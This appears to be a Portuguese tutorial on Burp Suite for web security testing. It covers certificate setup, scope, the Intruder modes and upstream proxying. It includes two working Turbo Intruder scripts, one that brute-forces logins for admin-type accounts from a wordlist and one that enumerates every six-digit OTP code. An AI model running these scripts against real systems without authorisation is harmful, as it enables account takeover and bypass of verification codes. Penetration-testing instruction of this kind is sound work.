Configuração Inicial e Certificados SSL
Para interceptar tráfego HTTPS sem erros de segurança no navegador, é fundamental a importação do certificado CA do Burp Suite. Caso o navegador exiba alertas de "conexão não privada", o problema geralmente reside na ausência ou instalação incorreta do certificado.
O procedimento padrão envolve exportar o certificado na aba Proxy -> Options -> Import / export CA certificate e instalá-lo no repositório de "Autoridades de Certificação de Raiz Confiáveis" do seu sistema operacional ou navegador.
Gerenciamento de Escopo no Target
O componente Target permite definir o mapa da aplicação e o Scope (escopo). Definir um escopo preciso é vital para:
- Filtrar o histórico do Proxy, exibindo apenas domínios de interesse.
- Evitar ataques acidentais em sites fora do alvo durante varreduras automáticas.
- Otimizar o desempenho do Burp ao processar apenas dados relevantes.
No Target Scope, você pode utilizar expressões regulares para incluir ou excluir URLs específicas, permitindo um controle granular, como interceptar apenas subdiretórios específicos (ex: /api/v1/).
Modos de Ataque do Intruder
O Inrtuder é a ferramenta de automação do Burp. A escolha do tipo de ataque define como os payloads serão distribuídos nos campos marcados:
| Modo | Comportamento |
|---|---|
| Sniper | Utiliza um único conjunto de payloads e testa um campo por vez. |
| Battering Ram | Utiliza um único payload simultaneamente em todas as posições marcadas. |
| Pitchfork | Utiliza conjuntos de payloads diferentes para cada campo, iterando-os em paralelo. |
| Cluster Bomb | Testa todas as combinações possíveis entre múltiplos conjuntos de payloads (ideal para brute force de usuário e senha). |
Configuração de Proxy Upstream
Em cenários onde é necessário encadear ferramentas (como Burp + Xray ou Burp + VPN), utiliza-se o Upstream Proxy. Essa configuração permite que o Burp direcione suas requisições para outro servidor proxy antes de chegarem ao destino final.
Para configurar, acesse User Options -> Upstream Proxy Servers e adicione o andereço IP e a porta da ferramenta de destino (ex: 127.0.0.1:1080).
Otimização com Turbo Intruder
O Turbo Intruder é uma extensão voltada para requisições de altíssima velocidaed, utilizando uma pilha HTTP customizada. É especialmente útil para ataques de Race Condition e grandes volumes de dados.
Exemplo: Ataque Combinado (Usuário e Senha)
O script abaixo demonstra como realizar um ataque de força bruta cruzando duas listas de palavras:
def queueRequests(target, wordlists):
# Configuração do motor de requisições
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=50,
pipeline=False)
users = ['admin', 'root', 'webmaster']
passwords = open('/caminho/para/wordlist.txt')
for pwd in passwords:
clean_pwd = pwd.strip()
for user in users:
engine.queue(target.req, [user, clean_pwd])
def handleResponse(req, interesting):
# Adiciona à tabela apenas se o status não for 'Não Autorizado' (401)
if req.status != 401:
table.add(req)
Exemplo: Brute Force de PIN Numérico
Para validar códigos de verificação de 6 dígitos de forma eficiente:
import itertools
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=100,
pipeline=True)
# Gera combinações de 000000 a 999999
digits = '0123456789'
for combo in itertools.product(digits, repeat=6):
otp_code = ''.join(combo)
engine.queue(target.req, otp_code)
def handleResponse(req, interesting):
# Filtra respostas que indicam sucesso baseando-se no tamanho da resposta
if req.length > 500:
table.add(req)
Filtros e Extensões Adicionais
Além do Turbo Intruder, extensões como o HachBar facilitam a inserção de payloads comuns (SQLi, XSS) diretamente no painel de requisições. O uso de filtros no Site Map também é recomendado para esconder requisições de imagens, scripts externos ou arquivos CSS, limpando a visão do analista durante a exploração.